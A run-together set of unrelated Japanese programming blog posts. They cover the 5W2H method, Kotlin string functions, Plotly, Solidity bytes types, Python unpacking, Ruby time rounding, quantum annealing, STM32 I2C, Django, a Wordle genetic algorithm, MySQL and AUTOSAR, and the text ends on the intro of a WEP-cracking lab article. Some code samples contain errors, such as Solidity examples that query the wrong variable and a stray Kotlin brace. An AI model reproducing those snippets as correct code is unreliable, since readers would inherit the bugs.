How どのように 【 手段 】
How much いくら 【 費用 】
:::

## What　何を 【 課題 】
1つめのWはWhat、つまり、「何を作るのか」です。
プログラムはただのコードの塊ではなく、「顧客の課題を解決する手段」です。
「とにかくイケてるサイトを作りたい！」
「ダサくてもいいから利益が出るサイトが欲しい」
上記の2つだと、同じWEBサイトを作るにしても、全然違うものになりそうですね。

## Why　なぜ 【 動機 】
2つめのWはWhy、つまり「なぜそれを作るのか」です。
顧客は何らかの事情でシステム作成を依頼しています。
「上司から言われたから仕方なく頼んでいる」
「売上を最大化するために、社員の働き方を効率化したい」
などなど、理由は顧客によって様々です。
顧客の動機によって、作るシステムの要件も変わってくるので、しっかり把握しましょう。

## Who　誰が 【 対象 】
3つめのWはwho、つまり「誰がそれを使うのか」です。
依頼者=使用者であれば非常に簡単。
目の前の人に対して仕様を固めていけば良いですね。
しかし、「社長が発注するけど、実際には社員が使う」というケースもあるでしょう。
その場合、社長の言う通りに作ってしまうと、現場の社員に使いづらいシステムになってしまうかもしれません。
実際に使う社員さんへのヒアリングも必要になるでしょう。

## When いつ 【 時期 】
4つめのWはWhen、つまり「いつまでに作るのか」です。
これは簡単に言うと納期ですね。
最終的な納期だけでなく、プロトタイプの提出、テスト運用の開始など、大事なイベントがいつ頃までに必要か、も確認しておきましょう。
顧客と一緒にスケジュールを組むことで、後で「あれやっといて、って言ったじゃん！」という事態を避けることができます。

## Where　どこで 【 場所 】
5つめのWhere、つまり「どこで使われるのか」です。
屋内、屋外、PC、スマホなどなど...使われる環境によって必要な機能も変わってきます。
きちんとヒアリングしましょう。

## How　どのように 【 手段 】
1つめのHはHow、「どのように作るか」です。
ここはプログラマであれば説明の必要はないでしょう。
というか、ここしか考えない人が多すぎるので要注意です。
サーバーの構成、プログラムの言語、データベースの構成などなど...ここら辺は言われなくても考えられる人が多いと思うので省略します。

## How much　いくら 【 費用 】
2つめのHはHow much、つまり「いくらで作るのか」です。
この視点が抜けてるプログラマが多いので、きちんと意識しましょう。
費用と言っても、サーバーにどれくらいお金かけるか、という話だけではありません。
どれくらいの人数のプログラマを何人月稼働させるか、と言うのも大事なファクターです。
きちんと利益の出るプロジェクトにしなければいけませんからね！

## 具体例1 WEBサイト作成の仕様書
めちゃくちゃ適当ですが、ある商品販売ページの作成依頼があった場合、5W2Hで考えてみました。

| 5W2H |    内容     |       
|:-:|-------------|
|What|商品販売ページ             |
|Why|従来顧客とは違う層にアプローチするためのWEBサイトが欲しい             |
|Who|ターゲットは20代女性、ページのメンテナンスはPCが得意でない社員でも扱えるようにして欲しい             |
|When|1ヶ月以内に             |
|Where|電車の中でスマホで見る             |
|How|Wordpress             |
|How much|50万円             |

このようにリストアップすると、要件定義のヒントになりそうな情報がサクッとまとめられましたね。

## 具体例2 与えられたタスク
「自分はまだ要件定義とかしない、駆け出しプログラマなのですが...」というあなたにも5W2Hは強力なツールです。
例えば、今週にやって欲しい、と上司から指示されたタスクを5W2Hで考えてみましょう。
| 5W2H |    内容     |       
|:-:|-------------|
|What|ラジオボタンのコンポーネント             |
|Why|単一選択式のフォームを多用するため、共通化する必要があるから。             |
|Who|フロントエンドチームが今後使う予定           |
|When|今週中に             |
|Where|Gitにpushして、stagingにデプロイ             |
|How|ライブラリを使用せずに、自分で実装してみる！             |
|How much|10時間くらいでできそう             |

個人のタスクにおけるHow muchはお金、と言うよりは持っている時間のうち、どれくらい使う？という感覚で良いと思います。
各タスクでこのように整理できれば、優先順位をつける手助けになるでしょう。
## おわりに
プログラマーにとって大事な5W2Hについてまとめました。

:::note
What 何を【 課題 】
Why なぜ 【 動機 】
Who 誰が 【 対象 】
When いつ 【 時期 】
Where どこで 【 場所 】
How どのように 【 手段 】
How much いくら 【 費用 】
:::

## 参考記事
[５W２Hを踏まえたホームページリニューアル仕様書の作り方【骨子編】](https://web.bridge-net.jp/blog/1807/)
kotlin replace 文字 置き換え 置換

# Kotlin replace
## 役割: 文字置き換え
## 使える型
[CharSequence](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-char-sequence/)
## 使うシーン
文字列の特定の文字を他の特定の文字に置き換える
文字列の特定の文字や正規表現に合致する文字列を削除する
### 使い方
```kotlin:replaceExample
replace("置換前の文字列","置換後の文字列")
replace({正規表現},"置換後の文字列")
※置換前,置換後の文字列は、Char型 or String型
```
#### 特定の文字列を他の特定の文字列で置換する例
```kotlin:replace
  fun replace(){
    val mojiString = "qenqinaqleaqqleqen"
    val mojiStringReplaced = mojiString.replace("q","p")
    println(mojiStringReplaced)
  }
```
```tex:result
penpinapleapplepen
```
#### 正規表現に当てはまる文字列を特定の文字列に置換する例
```kotlin:replace
  fun replace(){
    val mojiString = "pen10pi1nap2le5app9lepe0n"
    val mojiStringReplaced = mojiString.replace(Regex("[0-9]"),"")
    println(mojiStringReplaced)
  }
  }
```
```tex:result
penpinapleapplepen
```
今回は、空白に置き換えたので、数字を削除することができました。
Plotly scatter_matrixで選択したレコードの点を強調させる

データ解析中、変数間の関係性を確認するときには散布図行列が便利で、pythonでは、plotlyのscatter_matrixがかなりいい感じです。

plotlyが出力する散布図行列では、いろんな切り口でデータを見るために、投げ縄ツールや矩形選択ツールをつかって、簡易的なフィルターをかけることがあると思います。
デフォルトでは、このときunselectなレコードのopacityを小さくして、選択しているレコードを強調しますが、これではやや色の違いが見づらいので、色を変える方法がおすすめです。

```python
import plotly.express as px

df = px.data.iris()
fig = px.scatter_matrix(df, color='species')
fig.update_traces({
    'selected_marker_color': 'purple',
    'unselected_marker_opacity': 0.2,
})
fig.show()
```
各Scatterトレースの中にselectedやunselectedなレコードのマーカーの色、透過率の設定があるため、update_tracesメソッドで設定します。

これだけで、ぐっとEDAが捗りますよ。
solidityのbytes型の整理

## はじめに
solidityのバイトデータの扱いについて、byte[]・bytes・bytes32などの理解があいまいだったので整理しました。



## bytes・byte[]の違い
任意の長さの生のバイトデータを扱える点で、bytesとbyte[]は似ている。
byte[] は要素間を埋めるのに31バイト追加が必要になるので、データ格納の効率が悪い。
そのため、byte[]よりもbytesを使うことが推奨されている。

全般的なルールとして、任意の長さの生のバイトデータにはbytesを利用する。


## bytes1～bytes32
1バイトから32バイトまでのバイト列を保持できる。
非常に低コストなので、バイト長を制限できるならば、bytesではなくbytes1～bytes32を利用する。


```
bytes1 data1 = 0xff;
bytes4 data4 = 0x12345678;
bytes32 data32 = 0x0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef;
```

lengthで要素の長さを取得できる。
```
bytes1 data1 = 0xff;
data1.length   --> 1

bytes4 data4 = 0x12345678;
data1.length   --> 4

bytes32 data32 = 0x0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef;
data1.length   --> 32
```

indexで要素にアクセスすることができる。
```
bytes1 data1 = 0xff;
data1[0]   --> 0xff

bytes4 data4 = 0x12345678;
data1[3]   --> 0x78

bytes32 data32 = 0x0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef;
data1.length[31]   --> 0xef
```


## bytes

bytesも、bytes1～bytes32と同じように、lengthの利用や、indexでのアクセスが可能。
```
// 64バイト
bytes byteData = 0xf0f1f2f3f4f5f6f7f8f9e0e1e2e3e4e5e6e7e8e9d0d1d2d3d4d5d6d7d8d9c0c1c2c3c4c5c6c7c8c9b0b1b2b3b4b5b6b7b8b9a0a1a2a3a4a5a6a7a8a999989796;
byteData.length    --> 64
byteData[0]    --> 0xf0
byteData[63]    --> 0x96
```



## bytes1[]～bytes32[]
固定長のバイト列が配列になっている場合も、lengthの利用や、indexでのアクセスが可能。

```
bytes4[2] byteData;
byteData[0] = 0xa1a2a3a4;
byteData[1] = 0xb1b2b3b4;

byteData[0][0];    ---> 0xa1
byteData[1][3];    ---> 0xb4
byteData[1].length    ---> 4
```

## 参考
https://solidity-jp.readthedocs.io/ja/latest/types.html
https://medium.com/nayuta-inc/ethereum-solidity-%E5%9B%BA%E5%AE%9A%E9%95%B7%E3%83%90%E3%82%A4%E3%83%88%E5%88%97-813e925f49be
パック、アンパックの解説(コレ⇒*)

「アンパックってなに？」
「a = *'abc'ってなに？」
「*a = 'abc'って、アスタリスクを付けるのが前後逆になると出力が違うの？？？」
となったので、
アスタリスクの意味の１つであるパック、アンパックについて解説する。
　　
　　
```python:アンパックの処理
>>>a,b,c,d,e,f,g = (*"apple","banana","tomato")
>>> 
>>>
Output:a, p, p, l, e, banana, tomato

```
アンパックを一文で表すと、「複数の要素を持つものを分解して各変数に代入すること」である。
(また、展開とも言われている。(引数に入るアンパック(zip(* list))など))
「Q. (x+2)(x+5)
　A. x2+7x+10　」:展開
　　
どういうことかというと、
a,b,c,d,e,f,g = (*"apple","banana","tomato")
と書いたら、アスタリスクが付いている"apple"が1つずつに分解される。
そして、
```python:アンパックの代入結果
a = "a"
b = "p"
c = "p"
d = "l"
e = "e"
f = "banana"
g = "tomato"
```
一番最初(a,b,c,...)の変数から順番に、1つずつ分解された値が入っていく。
　　
"banana"と"tomato"はアスタリスクが付いてないし特に指定もないため、余ったfとgにそのまま入って、ピッタリと全ての値が変数に収まる。
　　
ちなみに、fとgを無くして、ピッタリと値が収まらないようにすると、
```python:アンパックのエラー
>>>a,b,c,d,e = (*"apple","banana","tomato")
>>> 
>>>
ValueError: too many values to unpack
```
このように、Errorが出る。変数の数を出力される値の数にきっちりと合わせないといけないらしい。
　　
　　
　　
　　
　　
　　
　　
　　
　　
```python:パックの処理
>>>*a,b = ("apple","banana","tomato")
>>> 
>>>
Output:['apple', 'banana'] tomato

```
次に、パックとは何かを説明する。
要は、アンパックの逆である。値を括弧でまとめて変数に代入する。
　　
　　
*a,b = ("apple","banana","tomato")
と書いたら、アスタリスクが付いているaが、変数の数と値の数が合うように値を上手くまとめる。
そして、
```python:パックの代入結果
a = ['apple', 'banana'] 
b = "tomato"
```
aには'apple'と'banana'が入って、bにもきちんと値が入るように、残った'banana'が入る。
　　
ちなみに、
```python:パックの別例
>>>*a,b,c,d = ("apple","banana","tomato")
>>>  
>>>
Output:[] apple banana tomato
```
変数にcとdを増やした結果、パックを指定していないb、c、dに値が入って、パックを指定したaには何も値が入らなかった。
代入の優先順位は、パックを指定していない普通の変数の方が上らしい。
現在時刻に最も近いキリの良い時刻を取得する方法

送信の予約機能で、現在時刻に最も近い10分単位の時間を取得したいことがあり、その計算方法が勉強になったので記載します。
例えば現在時刻が15:55なら16:00を取得したいという趣旨です。

## 作成したメソッド

```ruby
 def round_off(seconds = 60)
   Time.at((to_f / seconds).ceil * seconds)
 end
```
上記のようにメソッドを定義し、以下のように呼び出すことで実現できました。

```ruby
Time.now.round_off(10.minutes)
# もし現在時刻が16:55なら、17:00の時刻が取得できます。
```

## 何をしているか

先輩に教えてもらいながら書いたのですが、理解するのに時間がかかったのでメモしておきます。

1.指定した秒数で割り算をし、切り上げる
```ruby
(to_f/seconds).ceil
```

2.その数字にもう一度指定の秒数を掛ける

```ruby
(to_f/seconds).ceil * seconds
```

上記をすることで、現在時刻に最も近い将来で、指定した秒数の倍数が取れます。

単に数字で考えるとわかりやすかったです。
```ruby
# 100.0 / 3 = 33.33333
(100.0 / 3).ceil # => 34
(100.0 / 3).ceil * 3 #=> 102
# 102は、100より大きい数で最も小さい3の倍数
```

3.Time.zone.atの引数に計算した結果を渡す

```ruby
Time.at((to_f / seconds).ceil * seconds)
```


ちなみに開発では、`ActiveSupport::TimeWithZone`クラスを拡張してメソッド化して作成しました。
量子アニーリング基本操作

# はじめに
量子アニーリングにて、QUBO行列をハードウェアに投げる作業を備忘の為にメモ書きしたものです。
1. D-Waveの場合
2. OpenJijの場合

## D-Waveの場合
### D-waveライブラリのインストールとインポート
```Python
#インストール
pip install dwave-ocean-sdk
#使用するD-waveマシンを指定するDWaveSamplerとQBITへの自動割当を行うEmbeddingCompositeをインストール
from dwave.system import DWaveSampler, EmbeddingComposite
```
### 使用するD-Waveマシンの指定
以下のTokenはhttps://cloud.dwavesys.com/leap/login/?next=/leap/ でIDを作成すれば無料で3分のマシンタイム獲得可。
```Python
#D-Waveマシンの指定 = アクセスURL、token、使用するSolverを指定
endpoint = "https://cloud.dwavesys.com/sapi/"
token = "DEV-XXX…" 
solver = "Advantage_system4.1" #以下参照
dw_sampler = DWaveSampler(solver = solver, token = token, endpoint = endpoint)
#指定したD-Waveマシン上でのQBITの自動割当を準備
sampler = EmbeddingComposite(dw_sampler)
```
### D-Waveでの計算
QUBO行列を以下でD-Wave Samplerに投げる。
```Python
#QUBO行列の指定
QUBO = [...]
#指定のD-Wave SamplerにQUBO行列を投げて計算行う
ans = sampler.sample_qubo(QUBO, num_reads=10) # num_readsは繰り返し回数
```
## D-Wave Solverの種類
現在以下のSolverが使用可。
・QPUは約5,000変数使用可。
・Hybridは約20,000～100,000変数程度まで使用可能とのこと。
![D-Waveマシン.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2668554/4c45a50f-03f8-94a0-2056-24bc115227c2.jpeg)

## OpenJijの場合(量子アニーリングのシュミレーター)
### OpenJijライブラリのインストールとインポート
```Python
#インストール
pip install openjij
#ライブラリのインポート
from openjij import SQASampler
```
### OpenJijで計算
QUBO行列を以下でOpenJIjのシュミレーターに投げる。
```Python
#QUBO行列の指定
QUBO = [...]
#OpenJij上でQUBO行列を計算
sampler = SQASampler()
ans = sampler.sample_qubo(QUBO, num_reads=10)
```
以上
kotlin chunked 文字 X文字ずつ 分割

# Kotlin chunked
## 役割: 文字列をX文字ずつ分割してリストにする
## 使える型
[CharSequence](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-char-sequence/)
## 使うシーン
文字列型を特定の文字数で分割するとき
### 使い方
```kotlin:chunkedExample
chunked(X)
→X文字ずつ分割する
※XはInt型
```

#### 1文字ずつ分割する例
```kotlin:chunkedExample
  fun chunked(){
    val mojiString = "abcdaebfghaibjklamnopbqrastu"
    val mojiChundkedList = mojiString.chunked(1)
    println(mojiChundkedList)
  }
```
```tex:result
[a, b, c, d, a, e, b, f, g, h, a, i, b, j, k, l, a, m, n, o, p, b, q, r, a, s, t, u]
```

#### 2文字ずつ分割する例
```kotlin:chunkedExample
  fun chunked(){
    val mojiString = "ab cdaeb fgha ibjkla mno pbqra stu"
    val mojiChundkedList = mojiString.chunked(2)
    println(mojiChundkedList)
  }
```
```tex:result
[ab,  c, da, eb,  f, gh, a , ib, jk, la,  m, no,  p, bq, ra,  s, tu]
```
お、、、何故2文字ずつ分割したのに1文字の箇所があるの？
そう、今回の文字列は、半角スペースも含まれていたから。

半角スペースを削除するには、replaceメソッドを使えばいけそうですね！！！
kotlin split 文字 分割

# Kotlin split
## 役割: 文字分割
## 使える型
[CharSequence](https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-char-sequence/)
## 使うシーン
文字列型を特定の文字で分割
複数の条件で分割することも可能

## 使い方
```kotlin:使い方
split("XXX")
→XXXで分割する
※特定の文字は削除される
```
### 空白で分割する例
```kotlin:splitExample.kt
  fun split(){
    val mojiString = "abc defg hij klmno pqrstu"
    val mojiSplitList = mojiString.split(" ")
    println(mojiSplitList)
  }
```
```tex:result
[abc, defg, hij, klmno, pqrstu]
```
### 特定の文字列で分割する例
```kotlin:splitExample.kt
  fun split(){
    val mojiString = "abcdebfghibjklmnopbqrstu"
    val mojiSplitList = mojiString.split("b")
    println(mojiSplitList)
  }
```
```tex:result
[a, cde, fghi, jklmnop, qrstu]
```
特定の文字で分割できたが、"b"が消えた！
### 複数の文字で分割する例
```kotlin:splitExample
  fun split(){
    val mojiString = "abcdaebfghaibjklamnopbqrastu"
    val mojiSplitList = mojiString.split("a","b")
    println(mojiSplitList)
  }
```
```tex:result
[, , cd, e, fgh, i, jkl, mnop, qr, stu]
```
特定の文字(a,b)で分割できたが、最初に分割文字がある場合や、分割文字が連続している場合は、空が入る。

ちなみに、正規表現で分割することもできるみたい！
1文字ずつ分割するためには、[chunked](https://qiita.com/Samtech0315/items/f05a5b208012029ffbc8)メソッドを使用する。
STM32G031でI2Cスレーブで受信した値をアナログサーボに出力(I2C(PA11,PA12))


x 動作確認済み2022/5/24 11:58


目的
0x40(8ビット表記0x80)で値を受信して
アナログサーボ信号を出力


![o_con488.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/778fe065-31ba-fa71-4633-f5462c1cfb51.jpeg)



いろいろ
3分クッキングだけど
なぜか1日で100カウントを超える
まーいいか
ポートに余裕がないのでデバッグ関連を削除
デバッグの為の準備がいりこんでいるので進捗がすすまない
3台構成になるI2Cで「138」を送り続ける子
I2Cを受信してアナログサーボ信号に変換する子
アナログサーボ信号を受信する子


モニター


https://qiita.com/caa45040/items/c27704a159eb2eca4b87



プログラム


```c++


//I2C_11_12_PWM_031_1

#include <Arduino.h>
#include <Wire.h>

#define DD PB7    // potentiometer connected to analog pin x

//初期化
void setup()
{

  pinMode(DD, OUTPUT);   // sets the LED pin as output
  analogWriteFrequency(50);
  analogWriteResolution(16);

  //I2Cの初期化
  //Wire.begin(PA12, PA11); //stm32g031
  Wire.setSDA(PA12);
  Wire.setSCL(PA11);
  Wire.begin(); //pa12 pa11

  Wire.begin(0x40);  //I2Cスレーブアドレスの設定
  Wire.onReceive(receiveEvent); //データが来ると呼ばれる関数

} //setup

//メインループ
void loop()
{
} //loop

//レシーブイベント
void receiveEvent(int howMany) {

  int x = Wire.read(); //I2C受信データの読み込み

  analogWrite(DD, 1310 + (26 * x) );  // analogRead values go from 0
                                      // to 4095, pwmWrite values
                                      // from 0 to 65535, so scale roughly

}//receiveEvent



```


テスト信号



```c++


//I2C_138_031_1

#include <Arduino.h>
#include <Wire.h>

#define ADDR1  0x40

//初期化
void setup() {

  delay(3000); //not Delete

  //i2cの初期化
  Wire.setSDA(PA12);
  Wire.setSCL(PA11);
  Wire.begin(); //pa12 pa11

}//setup

//メインループ
void loop() {

  //I2Cに送信
  Wire.beginTransmission(ADDR1);
  Wire.write(138);
  Wire.endTransmission();

  delay(1000);//1秒待つ

}//loop




```
ITでコンビニはどう変わる？

# はじめに
IT×ビジネスという視点で週1本記事を投稿しています。
もし興味のある方は下のリンクから他の記事も見ていただければ幸いです。
 [@7_inai_](https://qiita.com/7_inai_)

# IT技術でコンビニはどう変わる？
コンビニのトレンドと言えば、 __無人コンビニ__ が挙げられると思います。
無人コンビニとは文字通り、 __店員が一人もいないコンビニ！__ 、、、というわけではありません。レジ打ちをする店員がいないというだけで、厨房や品出し用のスタッフは実在しています。では、無人レジを実現するためにはどういう技術が使われているのでしょうか？
この記事では `無人コンビニ × IT技術` というテーマでまとめます。

# RFIDタグを使用した日本型のコンビニ
経済産業省は、2025年までに、セブン‐イレブン、ファミリーマート、ローソン、ミニストップ、ニューデイズの __全ての取扱商品に電子タグ__ を利用することについて、合意したと発表しました。コンビニで電子タグ。といってもあまり馴染みはないかもしれませんが、ユニクロやGUでよく買い物される方は1度は体験したとこがあると思います。ユニクロやGUでは、レジのよくについている白い箱に商品全てを入れると一瞬で箱に入っている商品を認識し、合計金額が表示されます。そのときに、商品を識別するために使用しているのがRFタグと呼ばれる電子タグです。

### RFIDとは
ユニクロの例で記載した通り、電波を用いてRFタグのデータを非接触で読み書きするシステムのことを、 __RFID(Radio Frequency Identification)__ と言います。また、このときに商品1点ずつに付けている電子タグをRFタグといいます。

### 時間短縮だけじゃないRFIDの効果
RFIDの凄いところは、バーコードで商品を読み込まなくても __電波で商品を判別__ できるというところです。それにより以下のようなメリットが生まれます。
1. 複数のタグを一括で読み込める
→先ほども記載した通りお会計時間が短縮されます。
2. 距離が離れていても読み取れる
→棚卸しの際に高い箇所の商品も安全に読み取れます。
3. 箱の中に隠れているタグも読み取れる
→箱を開けずに一括で読み取れます。
4. 表面が汚れていても読み取れる
→タグの上にテープが貼られていたり、インク汚れがあっても無線なので関係ありません。
5. __万引き防止__
→RFタグに書き込まれている商品コードは同じ商品でも違うコードが書き込まれています。これによりどの商品がレジを通過したか判別することができます。もしレジを通過していない商品を店外に持ち出すとブザーが鳴る仕組みになっています。

# Amazon GoのJust Walk Out
続いて都内で店舗を続々オープンしているAmazon Goについてまとめます。
Amazon Goで買い物するときに必要なのは、Amazonアカウントと無料のAmazonアプリのみです。
店舗に入るとAIがユーザーを常に追跡します。商品をカゴに入れると、AIがAmazonアカウント内のバーチャルカートに商品を追加し、逆に棚に戻すとバーチャルカートからも商品が削除されます。商品を選んだ後、レジを通さずに改札ゲートを通過すると決済完了となります。
このようなレジを通さずに買い物を終えることができるシステムをAmazonでは `Just Walk Out（ただ出るだけ）` と呼んでいます。
このシステムを実現するためにはどういった技術が必要でしょうか？

### Just Walk Outを実現する3つの技術
上記の仕組みは、コンピュータービジョン、センサーフュージョン、ディープラーニングという3つの技術の組み合わせで実現されています。
* __コンピュータービジョン__ ：天井にある無数のカメラがユーザーを常に監視し、どの商品を取り出したかを監視しています。このカメラの映像で捉えた物体を特定する技術をコンピュータビジョンと言います。
* __センサーフュージョン__ ：複数のセンサーから得られた情報を統合的に処理する技術のことです。商品棚に設置している圧力センサーや重力センサーで商品が棚から動いたことを検知します。
* __ディープラーニング__ ：機械学習の一種です(この記事では説明は省きます)。Amazon goでは、大量のカメラから得たデータをディープラーニングで解析し、客の動きを追跡します。


# 終わりに
Amazon Goは日本でいう「コンビニ」に該当していますが、Amazonでは新たに __Amazon Go Grocery__　というスーパーのような大型店舗の展開を新たに目標としています。Amazon Go GroceryではAmazon Goで扱っていない野菜など不定形の生鮮食品も対象とします。タイパ（タイムパフォーマンス）という言葉がバズワード的に扱われる昨今、時間短縮につながるAmazon Goのシステムはますます注目されるかもしれません。

最後までお付き合いくださりありがとうございました。
Djangoの管理者サイトの表示が崩れてしまっている

とりあえず忘れないうちに
体裁は後で修正

urls.pyを以下のようにして



from django.contrib import admin
from django.urls import path
#以下を追加
from django.contrib.staticfiles.urls import staticfiles_urlpatterns
from django.urls import include

urlpatterns = [
    path('admin/', admin.site.urls),
]

一番下の行に以下を追加
urlpatterns += staticfiles_urlpatterns()


理由はわからないけどこれで治った！
線形代数自動計算ソフト作成過程（可読性）

# 入力処理のプログラムが完成！！！
　だいぶ時間がかかってしまいましたが、線形代数を計算するための入力処理プログラムができました。掛け算をどうするか悩みましたが、＊を書いても書かなくてもいいようにしました。今度アルゴリズムを簡単に書いてみようかと思います。

## C言語で開発したプログラムがひどい！！！
　私は一度、線形代数自動計算ソフトをC言語で作ってみたのですが、ひどい有様で作った本人でさえも解読に時間がかかってしまいました。今まで個人でしかプログラムを作っておらず、あまり意識したことがありませんでした。（変数くらい？）
そこで可読性を意識してみることにしました。

# 作業内容
　じゃあどうすれば可読性が上がるのでしょうか？とりあえず同じ言語だからと言ってソースコード全部同じファイルに書いてしまってたので、まずはそこを変えました。
あまり細かくしてもよくないのでデータ入力、処理、出力の３つに分けることにしました。
データ入力用のファイルを作り、クラスメソッドとして２種類のデータ入力関数を作りました。
```Python
class Input
    def getdata():
        処理
        return data

    def getsyntax(self):
        処理
        return syntax
```
結果としてコードがすっきりして見やすくなりました。
また、PythonはC言語よりも文字列操作関数が豊富なのでC言語の４分の１の行数でできました。
Wordle 初手3単語を、遺伝的アルゴリズムで最適化しようとした話


# 1.Wordle

皆さんは、Wordleって知っていますでしょうか？
5文字の英単語をヒントをもとに推測し、6手までに当てると言うシンプルな内容です。

私も挑戦してみました！


<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Wordle 242 4/6<br><br>🟨⬜⬜⬜⬜<br>🟩🟨⬜⬜⬜<br>⬜🟨⬜⬜⬜<br>🟩🟩🟩🟩🟩</p>&mdash; あめふり てる* (@Amefuri_Tell) <a href="https://twitter.com/Amefuri_Tell/status/1493604622950404103?ref_src=twsrc%5Etfw">February 15, 2022</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

面白いですね。ただ、これは最初の単語選びが大切そうです。

そこで今回は、初手3単語までを最適化しようをします。3単語で15文字。15/26なら結構わかりそうという感覚でやっていきます。

# 2. 最適化手法の話

では、最適化手法を何にしようかと考えた結果、私の大好きなアルゴリズムである、遺伝的アルゴリズムを使うことにしました。理由としては、

1. 書くのが簡単
2. 組み合わせ問題が得意なアルゴリズム
3. すでに書いたことがある

の3点です。焼きなまし法や貪欲法、DPなんかもできそうですがこれでやっていこうかと思います。


## 1. 遺伝的アルゴリズム

遺伝的アルゴリズムとは、生物の進化を模したアルゴリズムと言われることが多いです。
強い個体同士を掛け合わせて、より強くするというとても単純なものです。

**強い * 強い = 最強**

みたいなやつで、これだけ抑えておけばだいたいわかります。
そして、最強と最強を掛け合わせて、スーパー最強にしていくというのがこのアルゴリズムです。


## ちゃんとした話

遺伝的アルゴリズム(Genetic Algorithm:GA)は、以下の5ステップから成ります。

1. ランダムな**染色体**を持った個体を生み出す
2. 各個体の**適応度**を算出する
3. 適応度をもとに個体同士を掛け合わせ、新たな染色体を持った個体を作る(**交叉**)
4. **突然変異**を起こす
5. 2に戻る 

**染色体**とは、問題に対する解を表すものです。この染色体は解く問題に対してとても柔軟に変化します。
今回の単語の組み合わせ最適化で使うもので例として上げると、
単語辞書の番号の集合です。
たとえば、{1, 10, 1000}のような染色体があったときこれらは、{"abase", "abbey", "house"}のような単語の組み合わせを示します。
ちなみに、集合の要素一つ一つを遺伝子と呼びます。

**適応度**とは、この問題に対してどれくらい良い答えなのかということを数値化したものです。
今回の場合は、例えば、この3単語でアルファベットの出現率の合計だったり、絞れる単語数といった数です。これらは、どれが一番良い解なのかを示してくれます。
ちなみに、これを出す関数のことを**適応度関数**と呼ぶそうです。

**突然変異**とは、両親の染色体になかったような遺伝子に変化させるものです。
局所解に陥ったり、収束しなくなったりすることに極めて大きく作用します。
突然変異を起こすと、今まで最適だと思っていた局所最適解と呼ばれる、もっといい最適解があるのにその値に落ち着いてしまうという事故を防ぐことができます。
しかし、突然変異が起きすぎると解が一つに定まらなくなってしまうという欠点が存在します。

あとは、エリート保存戦略や交叉するときの親の選び方、交叉方法など、手法は様々ありますがここでは割愛します。

# 3. いよいよ最適化

では、最適化していきます。
まずは、辞書を用意します。ここでは以下の方の辞書を使わせていただきました。

https://github.com/kujirahand/EJDict

それでは、作っていきましょう。

ちなみに、コードはGitHubに上げてあるので見たい人は見てね。

https://github.com/AmefuriTell/Wordle-GA

## 詳しい話


# 4.結果

4つ同時に学習した結果、すべてが

aeros(arose)
clint
dumpy

の3単語に落ち着きました。
これは…間違いないのでは！？

# 最後に
これ以外にもいい感じの三手があるはずなので、みんなも最適化してみてね！私もやったんだからさ。
MySQL に専用ユーザでログインするまで

# 前提
- Mac
    - brew インストール

# 手順
```sh
# インストール
$ brew install mysql
$ brew info mysql

# 起動と停止
$ mysql.server start
$ mysql.server stop

# 専用ユーザの作成
$ mysql -u root

mysql> SELECT user, host FROM mysql.user;
mysql> CREATE user'tommy'@'localhost' IDENTIFIED BY 'パスワード' ;

# データベースの作成
mysql> show databases ;
mysql> create database DB名 ;
mysql> use DB名

# データベース操作権限の付与
mysql> SHOW GRANTS FOR 'tommy'@'localhost' ;
mysql> GRANT all ON DB名.* TO 'tommy'@'localhost' ; # 必要な権限については要確認
※ GRANT [権限] ON [適用対象のデータベース].[適用対象のテーブル] TO 'ユーザ名'@localhost ;

mysql> exit

# 専用ユーザでログイン
$ mysql -u tommy -p -D DB名 -h 127.0.0.1
```
Specification of ECU Configuration, No.87, AUTOSAR R21-11(140) CP

 Specification of ECU Configuration, No.87, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_TPS_ECUConfiguration.pdf


AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11, 120文書読んだ。2022年5月末に半分到達予定。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)

|Term|meaning|
|:--|:--|
|ECUC |ECU Configuration
|ECUC Value description|ECU Configuration Value Description
|ECUC ParamDef| ECU Configuration Parameter Definition
|ECUC Value| ECU Configuration Value
|StMD |Standardized Module Definition
|VSMD |Vendor Specific Module Definition


## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Methodology for Classic Platform
AUTOSAR_TR_Methodology
[2] System Template
AUTOSAR_TPS_SystemTemplate
[3] Glossary
AUTOSAR_TR_Glossary
[4] Standardization Template
AUTOSAR_TPS_StandardizationTemplate
[5] Requirements on ECU Configuration
AUTOSAR_RS_ECUConfiguration
[6] Generic Structure Template
AUTOSAR_TPS_GenericStructureTemplate
[7] AUTOSAR XML Schema Production Rules
AUTOSAR_TPS_XMLSchemaProductionRules
[8] Specification of ECU Configuration Parameters (XML)
AUTOSAR_MOD_ECUConfigurationParameters
[9] IEEE standard for radix-independent floating-point arithmetic
(ANSI/IEEE Std 854-1987)
[10] Meta Model
AUTOSAR_MMOD_MetaModel
[11] Meta Model-generated XML Schema
AUTOSAR_MMOD_XMLSchema
[12] Software Component Template
AUTOSAR_TPS_SoftwareComponentTemplate
[13] List of Basic Software Modules
AUTOSAR_TR_BSWModuleList
[14] Layered Software Architecture
AUTOSAR_EXP_LayeredSoftwareArchitecture
[15] Software Process Engineering Meta-Model Specification
http://www.omg.org/spec/SPEM/2.0/
Kali Linux2022.1 でハッキングラボをつくってみる9 無線LANへのハッキング6 WEPへのハッキング ARP要求リプレイ攻撃

# はじめに

KaliLinuxで利用しているwifiアダプタが利用できないので、別のノートパソコンにaircrack-ngパッケージをインストールして動作を検証しています。挙動や作業に大きな代わりはないです。
ちなみに、ノートパソコンのOSはOpensuse Leap15.3です。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
